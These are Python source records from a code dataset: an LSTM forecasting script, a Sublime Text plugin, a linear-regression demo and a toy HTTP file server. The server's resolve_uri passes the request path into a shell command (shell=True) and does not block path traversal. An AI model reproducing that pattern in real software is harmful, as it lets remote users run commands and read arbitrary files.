interval=1):\n        \"\"\"Invert difference data.\n\n        Args:\n            inverted_class: Class value whose scale has already been inverted.\n            interval:\n\n        Returns:\n            value: Inverted data\n\n        \"\"\"\n        value = inverted_class + self.values[-interval]\n        return value\n\n    def _data(self):\n        \"\"\"Load data.\n\n        Args:\n            None\n\n        Returns:\n            (train, test): Tuple of list of train and test data\n\n        \"\"\"\n        # Initialize key variables\n        _data = self._timeseries_to_supervised()\n        data = _data.values\n        index = round(0.9 * len(data))\n\n        # Return\n        train = data[:index]\n        test = data[index:]\n        return (train, test)\n\n    def _scaled_data(self):\n        \"\"\"Load scaled data.\n\n        Args:\n            None\n\n        Returns:\n            (scaler, train, test): Tuple of list of train and test data\n\n        \"\"\"\n        # Initialize key variables\n        (_train, _test) = self._data()\n\n        # Fit scaler\n        scaler = MinMaxScaler(feature_range=(-1, 1))\n        scaler = scaler.fit(_train)\n\n        # Transform train\n        train = _train.reshape(_train.shape[0], _train.shape[1])\n        train_scaled = scaler.transform(train)\n\n        # Transform test\n        test = _test.reshape(_test.shape[0], _test.shape[1])\n        test_scaled = scaler.transform(test)\n\n        # Return\n        return scaler, train_scaled, test_scaled\n\n    def invert_scale(self, x_value, predicted):\n        \"\"\"Inverse scaling for a forecasted value.\n\n        Args:\n            x_value: X value\n            predicted: Forecasted value\n\n        Returns:\n            result: Inverted value\n\n        \"\"\"\n        new_row = [_ for _ in x_value] + [predicted]\n        array = np.array(new_row)\n        array = array.reshape(1, len(array))\n        inverted = self.scaler.inverse_transform(array)\n        result = inverted[0, -1]\n        return result\n\n\ndef lstm_model(\n        data, hidden_layer_neurons, epochs,\n        feature_dimensions=1, verbose=False):\n    \"\"\"Build an LSTM model.\n\n    Args:\n        data: Data frame of X, Y values\n        hidden_layer_neurons: Number of neurons per layers\n        epochs: Number of iterations for learning\n        feature_dimensions: Dimension of features (Number of rows per feature)\n\n    Returns:\n        model: Graph of LSTM model\n\n    \"\"\"\n    # Initialize key variables\n    start = time.time()\n\n    \"\"\"\n    In a stateful LSTM network, you should only pass inputs with a number of\n    samples that can be divided by the batch size. Hence we use \"1\" as it is a\n    factor in any possible number of samples.\n    \"\"\"\n    batch_size = 1\n\n    # Process the data for fitting\n    x_values, y_values = data[:, 0: -1], data[:, -1]\n    x_shaped = x_values.reshape(x_values.shape[0], 1, x_values.shape[1])\n\n    # Let's do some learning!\n    model = Sequential()\n\n    \"\"\"\n    The Long Short-Term Memory network (LSTM) is a type of Recurrent Neural\n    Network (RNN).\n\n    A benefit of this type of network is that it can learn and remember over\n    long sequences and does not rely on a pre-specified window lagged\n    observation as input.\n\n    In Keras, this is referred to as being \"stateful\", and involves setting the\n    \"stateful\" argument to \"True\" when defining an LSTM layer.\n\n    By default, an LSTM layer in Keras maintains state between data within\n    one batch. A batch of data is a fixed-sized number of rows from the\n    training dataset that defines how many patterns (sequences) to process\n    before updating the weights of the network.\n\n    A state is:\n        Where am I now inside a sequence? Which time step is it? How is this\n        particular sequence behaving since its beginning up to now?\n\n    A weight is: What do I know about the general behavior of all sequences\n        I've seen so far?\n\n    State in the LSTM layer between batches is cleared by default. This is\n    undesirable therefore we must make the LSTM stateful. This gives us\n    fine-grained control over when state of the LSTM layer is cleared, by\n    calling the reset_states() function during the model.fit() method.\n\n    LSTM networks can be stacked in Keras in the same way that other layer\n    types can be stacked. One addition to the configuration that is required\n    is that an LSTM layer prior to each subsequent LSTM layer must return the\n    sequence. This can be done by setting the return_sequences parameter on\n    the layer to True.\n\n    batch_size denotes the subset size of your training sample (e.g. 100 out\n    of 1000) which is going to be used in order to train the network during its\n    learning process. Each batch trains network in a successive order, taking\n    into account the updated weights coming from the appliance of the previous\n    batch.\n\n    return_sequence indicates if a recurrent layer of the network should return\n    its entire output sequence (i.e. a sequence of vectors of specific\n    dimension) to the next layer of the network, or just its last only output\n    which is a single vector of the same dimension. This value can be useful\n    for networks conforming with an RNN architecture.\n\n    batch_input_shape defines that the sequential classification of the\n    neural network can accept input data of the defined only batch size,\n    restricting in that way the creation of any variable dimension vector.\n    It is widely used in stacked LSTM networks. It is a tuple of (batch_size,\n    timesteps, data_dimension)\n    \"\"\"\n    timesteps = x_shaped.shape[1]\n    data_dimension = x_shaped.shape[2]\n\n    # Add layers to the model\n    model.add(\n        LSTM(\n            units=hidden_layer_neurons,\n            batch_input_shape=(batch_size, timesteps, data_dimension),\n            return_sequences=True,\n            stateful=True\n        )\n    )\n    model.add(Dropout(0.2))\n\n    model.add(\n        LSTM(\n            units=hidden_layer_neurons,\n            batch_input_shape=(batch_size, timesteps, data_dimension),\n            return_sequences=False,\n            stateful=True\n        )\n    )\n    model.add(Dropout(0.2))\n\n    model.add(\n        Dense(\n            units=feature_dimensions\n        )\n    )\n    # model.add(Activation('linear'))\n\n    \"\"\"\n    Once the network is specified, it must be compiled into an efficient\n    symbolic representation using a backend mathematical library,\n    such as TensorFlow.\n\n    In compiling the network, we must specify a loss function and optimization\n    algorithm. We will use \"mean_squared_error\" or \"mse\" as the loss function\n    as it closely matches RMSE that we will are interested in, and the\n    efficient ADAM optimization algorithm.\n    \"\"\"\n    model.compile(loss='mse', optimizer='adam', metrics=['accuracy'])\n\n    \"\"\"\n    Once the model is compiled, the network can be fit to the training data.\n    Because the network is stateful, we must control when the internal state\n    is reset. Therefore, we must manually manage the training process one epoch\n    at a time across the desired number of epochs.\n\n    By default, the samples within an epoch are shuffled prior to being exposed\n    to the network. Again, this is undesirable for the LSTM because we want the\n    network to build up state as it learns across the sequence of observations.\n    We can disable the shuffling of samples by setting \"shuffle\" to \"False\".\n    \"\"\"\n    for _ in range(epochs):\n        model.fit(\n            x_shaped,\n            y_values,\n            batch_size=batch_size,\n            shuffle=False,\n            epochs=1,\n            verbose=verbose,\n            validation_split=0.05)\n\n        \"\"\"\n        When the fit process reaches the total length of the samples,\n        model.reset_states() is called to reset the internal state at the end\n        of the training epoch, ready for the next training iteration.\n\n        This iteration will start training from the beginning of the dataset\n        therefore state will need to be reset as the previous state would only\n        be relevant to the prior epoch iteration.\n        \"\"\"\n        model.reset_states()\n\n    print('\\n> Training Time: {:20.2f}'.format(time.time() - start))\n    return model\n\n\nclass ForecastLSTM(object):\n    \"\"\"Forecast LSTM.\n\n    Based on: https://machinelearningmastery.com/time-series-forecasting-long-short-term-memory-network-python/\n\n    \"\"\"\n\n    def __init__(self, model, data, scaled_data):\n        \"\"\"Instantiate the class.\n\n        Args:\n            model: Trained LSTM model\n            data: Data object\n            scaled_data: Scaled data array to be used for forecasting\n\n        Returns:\n            None\n\n        \"\"\"\n        # Initialize key variables\n        self._model = model\n        self._data = data\n        self._scaled_data = scaled_data\n\n        \"\"\"\n        In a stateful LSTM network, you should only pass inputs with a number\n        of samples that can be divided by the batch size. Hence we use \"1\" as\n        it is a factor in any possible number of samples.\n        \"\"\"\n        self._batch_size = 1\n\n    def value(self, index):\n        \"\"\"Make a one-step forecast.\n\n        Args:\n            index: Offset in self.scaled_data\n\n        Returns:\n            result: Forecast\n\n        \"\"\"\n        # Create feature vector\n        feature_vector = self._scaled_data[index, 0:-1]\n\n        # Get the predicted class (scaled)\n        predicted_class_scaled = self._forecast_lstm(feature_vector)\n\n        # Invert scaling\n        predicted_class_differenced = self._data.invert_scale(\n            feature_vector, predicted_class_scaled)\n\n        # Invert differencing\n        pointer_differenced = len(self._scaled_data) + 1 - index\n        result = self._data.invert_difference(\n            predicted_class_differenced, pointer_differenced)\n\n        # Return\n        return result\n\n    def _forecast_lstm(self, feature_vector):\n        \"\"\"Make a one-step forecast.\n\n        Args:\n            feature_vector: Feature vector\n\n        Returns:\n            result: Forecast\n\n        \"\"\"\n        # Initialize key variables\n        model = self._model\n        batch_size = self._batch_size\n\n        # Process\n        \"\"\"\n        To make a forecast, we call the predict() function on the model.\n        This requires a 3D NumPy array input as an argument.\n        \"\"\"\n        reshaped_vector = feature_vector.reshape(1, 1, len(feature_vector))\n        y_value = model.predict(reshaped_vector, batch_size=batch_size)\n        result = y_value[0, 0]\n        return result\n\n\ndef reshape_scaled_data(data):\n    \"\"\"Reshape scaled data for predictions.\n\n    Args:\n        data: Scaled data to be reshaped\n\n    Returns:\n        result: Reshaped data\n\n    \"\"\"\n    # Return reshaped data\n    result = data[:, 0].reshape(len(data), 1, 1)\n    return result\n\n\ndef read_file(filename, ts_start=None, rrd_step=300):\n    \"\"\"Read data from file.\n\n    Args:\n        filename: Name of CSV file to read\n        ts_start: Starting timestamp for which data should be retrieved\n        rrd_step: Default RRD step time of the CSV file\n\n    Returns:\n        data_dict: Dict of values keyed by timestamp\n\n    \"\"\"\n    # Initialize key variables\n    data_dict = {}\n    now = _normalize(int(time.time()), rrd_step)\n    count = 1\n\n    # Set the start time to be 2 years by default\n    if (ts_start is None) or (ts_start < 0):\n        ts_start = now - (3600 * 24 * 365 * 2)\n    else:\n        ts_start = _normalize(ts_start, rrd_step)\n\n    # Read data\n    with open(filename, 'r') as csvfile:\n        spamreader = csv.reader(csvfile, delimiter=',')\n        for row in spamreader:\n            timestamp = _normalize(int(row[0]), rrd_step)\n            if ts_start <= timestamp:\n                value = float(row[1])\n                data_dict[timestamp] = value\n\n    # Fill in the blanks in timestamps\n    ts_max = max(data_dict.keys())\n    ts_min = min(data_dict.keys())\n    timestamps = range(\n        _normalize(ts_min, rrd_step),\n        _normalize(ts_max, rrd_step),\n        rrd_step)\n    for timestamp in timestamps:\n        if timestamp not in data_dict:\n            data_dict[timestamp] = 0\n\n    # Back track from the end of the data and delete any zero values until\n    # no zeros are found. Sometimes the most recent csv data is zero due to\n    # update delays. Replace the deleted entries with a zero value at the\n    # beginning of the series\n    _timestamps = sorted(data_dict.keys(), reverse=True)\n    for timestamp in _timestamps:\n        if bool(data_dict[timestamp]) is False:\n            data_dict.pop(timestamp, None)\n            # Replace the popped item with one at the beginning of the series\n            data_dict[int(ts_min - (count * rrd_step))] = 0\n        else:\n            break\n        count += 1\n\n    # Return\n    print('Records ingested:', len(data_dict))\n    return data_dict\n\n\ndef _normalize(timestamp, rrd_step=300):\n    \"\"\"Normalize the timestamp to nearest rrd_step value.\n\n    Args:\n        rrd_step: RRD tool step value\n\n    Returns:\n        result: Normalized timestamp\n\n    \"\"\"\n    # Return\n    result = int((timestamp // rrd_step) * rrd_step)\n    return result\n\n\ndef get_maxes(data, periods=288, sliding=True):\n    \"\"\"Get maximum values from data.\n\n    Args:\n        data: Dict of values keyed by timestamp\n        periods: Sliding window number periods over\n            which maxes will be calculated\n        sliding: Calculate the sliding max if True\n\n    Returns:\n        maxes: Dict of values keyed by timestamp\n\n    \"\"\"\n    # Initialize key variables\n    maxes = {}\n    values = []\n    timestamps = []\n\n    # Create easier to use lists of data to work with\n    for timestamp, value in sorted(data.items()):\n        values.append(value)\n        timestamps.append(timestamp)\n\n    # Find the maxes in value every X periods\n    if sliding is True:\n        item_count = len(values)\n        for index in range(0, item_count - periods + 1):\n            endpointer = index + periods\n            sample = values[index:endpointer]\n            max_sample = max(sample)\n            _timestamp = timestamps[endpointer - 1]\n            maxes[_timestamp] = max_sample\n    else:\n        # Get maxes without using the sliding window\n        for endpointer in range(len(timestamps) - 1, 0, -periods):\n            if endpointer < periods:\n                break\n            sample = values[endpointer - periods: endpointer + 1]\n            max_sample = max(sample)\n            _timestamp = timestamps[endpointer]\n            maxes[_timestamp] = max_sample\n\n    # Return\n    print('Maxes created:', len(maxes))\n    return maxes\n\n\ndef do_accuracy(data, model, ts_start):\n    \"\"\"Calculate the accuracy of the LSTM model using test data.\n\n    Args:\n        model: Trained LSTM model\n        data: Data object\n        ts_start: Timestamp of when processing began\n\n    Returns:\n        None\n\n    \"\"\"\n    # Initialize key variables\n    predictions = []\n\n    # Walk-forward validation on the test data\n    test_scaled = data.scaled_test\n    forecast = ForecastLSTM(model, data, test_scaled)\n    for index_test in range(len(test_scaled)):\n        # Make one-step forecast\n        predicted_class = forecast.value(index_test)\n\n        # Store forecast\n        predictions.append(predicted_class)\n\n    # Calculate RMSE\n    test_values = data.values[-len(test_scaled):]\n    rmse = sqrt(mean_squared_error(test_values, predictions))\n    print('Test RMSE: {:5.3f}'.format(rmse))\n\n    # Calculate % accuacy\n    found = []\n    for idx, value in enumerate(test_values):\n        found.append(int(round(value, 0) == round(predictions[idx], 0)))\n    print('Accuracy: {:5.1f}%'.format((100 * sum(found)) / len(test_values)))\n\n    # Print execution time\n    print('Execution time: {:5.1f}s\\n'.format(int(time.time() - ts_start)))\n\n    # All done\n    sys.exit(0)\n\n\ndef do_forecast(data, model, ts_start, periods, rrd_step=300, count=10):\n    \"\"\"Get maximum values from data.\n\n    Args:\n        model: Trained LSTM model\n        data: Data object\n        ts_start: Timestamp of when processing began\n        periods: Interval between timestamps in the data\n        rrd_step: Step in seconds for the data\n\n    Returns:\n        None\n\n    \"\"\"\n    # Initialize key variables\n    data_dict = {}\n    rows = []\n    timestamps = data.timestamps\n\n    # Populate dict\n    for index, value in enumerate(data.values):\n        data_dict[timestamps[index]] = value\n\n    # Populate the last items in the timestamps dictionary\n    for timestamp in timestamps[-count:]:\n        print('--- ', timestamp, data_dict[timestamp])\n\n    # Do more forecasts\n    for _ in range(count):\n        new_data = Data(data_dict)\n        new_forecast = ForecastLSTM(model, new_data, new_data.scaled)\n        index = len(new_data.scaled) - 1\n        predicted_class = new_forecast.value(index)\n\n        # Populate Dict\n        last_timestamp = new_data.timestamps[-1]\n        print('>>> ', last_timestamp, predicted_class)\n        for offset in range(\n                last_timestamp + rrd_step,\n                last_timestamp + (rrd_step * (periods + 1)),\n                rrd_step):\n            data_dict[offset] = predicted_class\n\n    # Create CSV file\n    for key, value in sorted(data_dict.items()):\n        rows.append([key, value])\n    with open('/tmp/forescast-data.csv', 'w') as output_file:\n        dict_writer = csv.writer(output_file)\n        dict_writer.writerows(rows)\n\n    # Print execution time\n    print('Execution time: {:5.1f}s\\n'.format(int(time.time() - ts_start)))\n\n    # All done\n    sys.exit(0)\n\n\ndef main():\n    \"\"\"Main Function.\n\n    Display data prediction from tensorflow model\n\n    \"\"\"\n    # Initialize key variables\n    rrd_step = 300\n    verbose = True\n    sliding = False\n    periods = 12\n    ts_start = int(time.time())\n\n    # Set logging level\n    os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n    \"\"\"\n    The batch size is often much smaller than the total number of samples.\n    It, along with the number of epochs, defines how quickly the network learns\n    the data (how often the weights are updated).\n\n    In a stateful LSTM network, you should only pass inputs with a number of\n    samples that can be divided by the batch size. Hence we use \"1\" as it is a\n    factor in any possible number of samples.\n    \"\"\"\n    batch_size = 1\n    epochs = 50\n\n    \"\"\"\n    The final import parameter in defining the LSTM layer is the number of\n    neurons, also called the number of memory units or blocks.\n    \"\"\"\n    hidden_layer_neurons = 50\n\n    # Get filename\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        '-f', '--filename', help='Name of CSV file to read.',\n        type=str, required=True)\n    parser.add_argument(\n        '--accuracy', help='Calculate accuracy of data',\n        action='store_true')\n    args = parser.parse_args()\n    filename = args.filename\n    accuracy = args.accuracy\n\n    # Read data from file\n    print('\\nProcessing file: {}'.format(os.path.basename(filename)))\n    file_data = read_file(filename, rrd_step=rrd_step)\n    file_data = get_maxes(file_data, periods=periods, sliding=sliding)\n\n    # Prepare data for modeling\n    data = Data(file_data)\n\n    # Fit the data to the model\n    model = lstm_model(\n        data.scaled_train, hidden_layer_neurons, epochs, verbose=verbose)\n\n    \"\"\"\n    During training, the internal state is reset after each epoch.\n\n    While forecasting, we will not want to reset the internal state between\n    forecasts. In fact, we would like the model to build up state as we\n    forecast each time step in the test dataset.\n\n    This raises the question as to what would be a good initial state for the\n    network prior to forecasting the test dataset. We will seed the state by\n    making a prediction on all samples in the training dataset. In theory, the\n    internal state should now be set up ready to forecast the next time step.\n\n    In other words, the current state of the model (created during model.fit)\n    isn't suitable for forecasting.\n\n    We now forecast the entire training dataset to build up state for\n    forecasting.\n\n    To make a forecast, we can call the predict() function on the model. This\n    requires a 3D NumPy array input as an argument. This is why we reshape the\n    data.\n    \"\"\"\n    print('Creating model state for forecasting.')\n    train_reshaped = reshape_scaled_data(data.scaled_train)\n    model.predict(train_reshaped, batch_size=batch_size)\n    print('Completed model state for forecasting.')\n\n    # Do the accuracy routine if stated on the command line\n    if accuracy is True:\n        do_accuracy(data, model, ts_start)\n    else:\n        do_forecast(data, model, ts_start, periods, rrd_step=rrd_step)\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"timeseries/forecast/_archive/forecast-keras-machinelearningmastery-1543954101.py","file_name":"forecast-keras-machinelearningmastery-1543954101.py","file_ext":"py","file_size_in_byte":25558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"362218687","text":"import os\nimport re\nfrom typing import Dict\n\nimport sublime\nimport sublime_plugin\n\n# @todo Rename this GitHub repo (my fork of the original) from STEmacsModelines to STEmacsFileVariables\n\n\nclass SublimeEmacsFileVariables(sublime_plugin.ViewEventListener):\n\n    # Look for the filevars line in the first N lines of the file only.\n    FILEVARS_HEAD_LINE_COUNT = 5\n\n    FILEVARS_RE = r\".*-\\*-\\s*(.+?)\\s*-\\*-.*\"\n\n    mode_to_syntax_lut: Dict[str, str] = {}\n\n    # Overrides begin ------------------------------------------------------------------\n\n    @classmethod\n    def is_applicable(cls, settings):\n        return not settings.get(\"is_widget\")\n\n    def on_load(self):\n        self.common_handler()\n\n    def on_activated(self):\n        self.common_handler()\n\n    def on_post_save(self):\n        self.common_handler()\n\n    # Overrides end --------------------------------------------------------------------\n\n    def common_handler(self):\n        # We don't want to be active in parts of Sublime's UI other than actual\n        # code-editing views.\n        #\n        # NOTE: The \"is_widget\" check in ::is_applicable is necessary but no longer\n        # sufficient, since as of ST4, Output Panels are no longer considered widgets.\n        if self.view.element() is not None or self.view.settings().get(\"terminus_view\"):\n            return\n\n        if not self.mode_to_syntax_lut:\n            self.discover_package_syntaxes()\n\n        filevars = self.parse_filevars()\n        if filevars:\n            self.process_filevars(filevars)\n\n    def discover_package_syntaxes(self):\n        syntax_definition_paths = []\n        for p in sublime.find_resources(\"*.sublime-syntax\"):\n            syntax_definition_paths.append(p)\n        for p in sublime.find_resources(\"*.tmLanguage\"):\n            syntax_definition_paths.append(p)\n\n        for path in syntax_definition_paths:\n            mode = os.path.splitext(os.path.basename(path))[0].lower()\n            self.mode_to_syntax_lut[mode] = path\n\n        # Load custom mappings from the settings file\n        package_settings = sublime.load_settings(\n            \"SublimeEmacsFileVariables.sublime-settings\"\n        )\n\n        if package_settings.has(\"mode_mappings\"):\n            for mode, syntax in package_settings.get(\"mode_mappings\").items():\n                self.mode_to_syntax_lut[mode] = self.mode_to_syntax_lut[syntax.lower()]\n\n        if package_settings.has(\"user_mode_mappings\"):\n            for mode, syntax in package_settings.get(\"user_mode_mappings\").items():\n                self.mode_to_syntax_lut[mode] = self.mode_to_syntax_lut[syntax.lower()]\n\n        # print(self.mode_to_syntax_lut)\n\n    def parse_filevars(self):\n        view = self.view\n\n        # Grab lines from beginning of view\n        region_end = view.text_point(self.FILEVARS_HEAD_LINE_COUNT, 0)\n        region = sublime.Region(0, region_end)\n        lines = view.lines(region)\n\n        # Look for filevars\n        for line in lines:\n            m = re.match(self.FILEVARS_RE, view.substr(line))\n            if m:\n                return m.group(1)\n        return None\n\n    def process_filevars(self, filevars):  # noqa: C901\n        for component in filevars.lower().split(\";\"):\n            key_value_match = re.match(\n                r\"\\s*(st-|sublime-text-|sublime-|sublimetext-)?(.+):\\s*(.+)\\s*\",\n                component,\n            )\n            if not key_value_match:\n                continue\n\n            key, value = key_value_match.group(2), key_value_match.group(3)\n            key_is_sublime_specific = bool(key_value_match.group(1))\n\n            if key_is_sublime_specific:\n                # Convert stringly-typed booleans to proper Python booleans.\n                if value.lower() == \"true\":\n                    value = True\n                elif value.lower() == \"false\":\n                    value = False\n\n                self.set_view_setting(key, value)\n            elif key == \"coding\":\n                # http://www.gnu.org/software/emacs/manual/html_node/emacs/Coding-Systems.html\n                # http://www.gnu.org/software/emacs/manual/html_node/emacs/Specify-Coding.html\n                match = re.match(\"(?:.+-)?(unix|dos|mac)\", value)\n                if not match:\n                    continue\n                value = match.group(1)\n                if value == \"dos\":\n                    value = \"windows\"\n                if value == \"mac\":\n                    value = \"CR\"\n                self.set_view_setting(\"line_endings\", value)\n            elif key == \"indent-tabs-mode\":\n                # Convert string representations of Emacs Lisp values to proper Python booleans.\n                value = value.lower() != \"nil\" and value.lower() != \"()\"\n\n                self.set_view_setting(\"translate_tabs_to_spaces\", not value)\n            elif key == \"mode\":\n                if value in self.mode_to_syntax_lut:\n                    self.set_view_setting(\"syntax\", self.mode_to_syntax_lut[value])\n                else:\n                    sublime.status_message(\n                        f\"[{self.__class__.__name__}] {key} {value!r} does not match any known syntax\"\n                    )\n            elif key == \"tab-width\":\n                self.set_view_setting(\"tab_size\", int(value))\n\n    def set_view_setting(self, key, value):\n        view = self.view\n        # print(\"%s: setting view setting '%s' to '%s'\" % (self.__class__.__name__, key, value))\n        if key == \"line_endings\":\n            view.set_line_endings(value)\n        else:\n            view.settings().set(key, value)\n","sub_path":"SublimeEmacsFileVariables.py","file_name":"SublimeEmacsFileVariables.py","file_ext":"py","file_size_in_byte":5536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"21236680","text":"import numpy as np\nimport pandas as pd\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\n\n# load the data\n# ref: df['x1x2'] = df.apply(lambda row: row['x1'] * row['x2'], axis = 1)\n# pass in axis=1 so the apply function across over each row not each column\ndf = pd.read_csv('data_2d.csv', sep = ',', header = None)\ndf.columns = ['X1', 'X2', 'Y']\ndf['ones'] = 1\nX = df[['X1', 'X2', 'ones']].as_matrix()\nY = df['Y'].as_matrix()\n\n# load the data\n# X = []\n# Y = []\n# for line in open('data_2d.csv'):\n# \tx1, x2, y = line.split(',')\n# \tX.append([float(x1), float(x2), 1])\n# \tY.append(float(y))\n# X = np.array(X)\n# Y = np.array(Y)\n\n# It does not work for the command 'python', but 'ipython'\nfig = plt.figure()\nax = fig.add_subplot(111, projection = '3d')\nax.scatter(X[:, 0], X[:, 1], Y)\nplt.show()\n\nw = np.linalg.solve(np.dot(X.T, X), np.dot(X.T, Y))\nYhat = np.dot(X, w)\n\n# It does not work for the command 'python', but 'ipython'\nfig = plt.figure()\nax = fig.add_subplot(111, projection = '3d')\nax.scatter(X[:, 0], X[:, 1], Y)\nax.plot(sorted(X[:, 0]), sorted(X[:, 1]), sorted(Yhat))\nplt.show()\n\n# calculate the r-squared\nd1 = Y - Yhat\nd2 = Y - Y.mean()\nr2 = 1 - d1.dot(d1) / d2.dot(d2)\n\nprint(\"r-squared:\", r2)\nprint(\"w =\", w)","sub_path":"linear_regression/lr_2d.py","file_name":"lr_2d.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"147220948","text":"import socket\nimport sys\nimport mimetypes\nimport os\nfrom subprocess import check_output\n\nWEBROOT=\"webroot\"\nlog_buffer = sys.stdout\n\ndef response_ok(body=b\"This is a minimal response\", mimetype=b\"text/plain\"):\n    \"\"\"\n    returns a basic HTTP response\n    Ex:\n        response_ok(\n            b\"<html><h1>Welcome:</h1></html>\",\n            b\"text/html\"\n        ) ->\n        b'''\n        HTTP/1.1 200 OK\\r\\n\n        Content-Type: text/html\\r\\n\n        \\r\\n\n        <html><h1>Welcome:</h1></html>\\r\\n\n        '''\n    \"\"\"\n\n    resp = b\"\\r\\n\".join([\n                b\"HTTP/1.1 200 OK\",\n                b\"Content-Type: \" + mimetype,\n                b\"\",\n                body,])\n    return resp\n\n\ndef parse_request(request):\n\n    \"\"\"\n    Parse the request\n    \"\"\"\n\n    # fall-through values\n    method = False\n    uri = False\n    version = False\n    headers = {}\n\n    # request can be multiple lines, split them up\n    request_lines = request.splitlines()\n\n    # catch an empty request\n    try:\n        # decode the first line\n        method, uri, version = request_lines[0].split()\n        # if it isn't a supported method, raise NotImplementedError\n        if method != \"GET\":\n            raise NotImplementedError\n        # stuff all the headers into a dict\n        headers = {}\n        for line in request_lines[1:]:\n            if line:\n                key, value = line.split(\": \")\n                headers[key] = value\n    except IndexError:\n        print(\"Got empty request!\", file=log_buffer)\n\n    # return decoded request\n    return (method, uri, version, headers)\n\n\ndef response_method_not_allowed():\n    \"\"\"Returns a 405 Method Not Allowed response\"\"\"\n    print(\"Sending method not allowed\", file=log_buffer)\n    resp = b\"\\r\\n\".join([b\"HTTP/1.1 405 Method Not Allowed\"])\n    return resp\n\n\ndef response_not_found():\n    \"\"\"Returns a 404 Not Found response\"\"\"\n    print(\"Sending response_not_found\", file=log_buffer)\n    resp = b\"\\r\\n\".join([b\"HTTP/1.1 404 Not Found\"])\n    return resp\n\n\ndef not_implemented():\n    \"\"\"Returns a 404 Not Found response\"\"\"\n    print(\"Sending not implemented\", file=log_buffer)\n    resp = b\"\\r\\n\".join([b\"HTTP/1.1 501 Not Implemented\"])\n    return resp\n\n\ndef resolve_uri(uri):\n    \"\"\"\n    This method should return appropriate content and a mime type.\n\n    If the requested URI is a directory, then the content should be a\n    plain-text listing of the contents with mimetype `text/plain`.\n\n    If the URI is a file, it should return the contents of that file\n    and its correct mimetype.\n\n    If the URI does not map to a real location, it should raise an\n    exception that the server can catch to return a 404 response.\n\n    Ex:\n        resolve_uri('/a_web_page.html') -> (b\"<html><h1>North Carolina...\",\n                                            b\"text/html\")\n\n        resolve_uri('/images/sample_1.png')\n                        -> (b\"A12BCF...\",  # contents of sample_1.png\n                            b\"image/png\")\n\n        resolve_uri('/') -> (b\"images/, a_web_page.html, make_type.py,...\",\n                             b\"text/plain\")\n\n        resolve_uri('/a_page_that_doesnt_exist.html') -> Raises a NameError\n\n    Raise a NameError if the requested content is not present\n    under webroot.\n\n    Fill in the appropriate content and mime_type give the URI.\n\n    \"\"\"\n\n    # you have to strip the leading \"/\" when using strip, else it things it's an absolute path\n    effective_uri = os.path.join(WEBROOT,uri.strip(\"/\"))\n\n    # verify the target exists\n    if os.path.exists(effective_uri):\n\n        # check to see if it is a directory\n        if os.path.isdir(effective_uri):\n            print(\"Requested target is a directory\", file=log_buffer)\n            mime_type = \"text/plain\".encode(\"utf8\")\n            # lazy approach to get semi legible formatted directory listing\n            content = check_output([\"ls -l \" + effective_uri], shell=True)\n\n        else:\n            # target is a file\n            # guess_type returns a tuple (mime_type, strict), we only care about mime_type\n            mime_type = mimetypes.guess_type(effective_uri)[0]\n            if mime_type:\n                # for easy reference\n                base_type, sub_type = mime_type.split(\"/\")\n                if base_type == \"text\":\n                    # text file processing\n                    print(\"Requested target is a non-binary file\", file=log_buffer)\n                    with open(effective_uri, 'r') as target_file:\n                        content = target_file.read()\n                    content = content.encode(\"utf8\")\n                else:\n                    # binary file processing\n                    print(\"Requested target is a binary file\", file=log_buffer)\n                    with open(effective_uri, 'rb') as target_file:\n                        content=target_file.read()\n                mime_type = mime_type.encode(\"utf8\")\n            else:\n                # unknown mime type\n                raise NotImplementedError\n\n    else:\n        # no such file or directory\n        raise NameError\n\n    return content, mime_type\n\n\ndef server(log_buffer=sys.stderr):\n\n    # hack to figure out my outgoing ip address\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    s.connect((\"8.8.8.8\", 80))\n    myaddr = s.getsockname()[0]\n    s.close()\n\n    address = ('0.0.0.0', 10000)\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    print(\"making a server on {0}:{2}, bound to {1}\".format(myaddr, *address), file=log_buffer)\n    sock.bind(address)\n    sock.listen(1)\n\n    try:\n        while True:\n            print('Waiting for a connection', file=log_buffer)\n            conn, addr = sock.accept()  # blocking\n            try:\n                print('Connection - {0}:{1}'.format(*addr), file=log_buffer)\n                request = ''\n                while True:\n                    # grab the request\n                    data = conn.recv(1024)\n                    request += data.decode('utf8')\n                    if len(data) < 1024:\n                        break\n                print(\"Received data\", file=log_buffer)\n                # parse the request\n                method, uri, version, headers = parse_request(request)\n                print('Decoded request: method \"{}\", uri \"{}\", version \"{}\"'.format(method, uri, version), file=log_buffer)\n                if method:\n                    try:\n                        content, mime_type = resolve_uri(uri)\n                        print(\"Target of request is mime_type of: \",mime_type, file=log_buffer)\n                        response = response_ok(content, mime_type)\n                    except NameError:\n                        response = response_not_found()\n                    except NotImplementedError:\n                        response = not_implemented()\n                else:\n                    # empty request\n                    response = response_method_not_allowed()\n                conn.sendall(response)\n            finally:\n                conn.close()\n\n    except KeyboardInterrupt:\n        sock.close()\n        return\n\n\nif __name__ == '__main__':\n    server()\n    sys.exit(0)\n\n\n","sub_path":"http_server.py","file_name":"http_server.py","file_ext":"py","file_size_in_byte":7178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
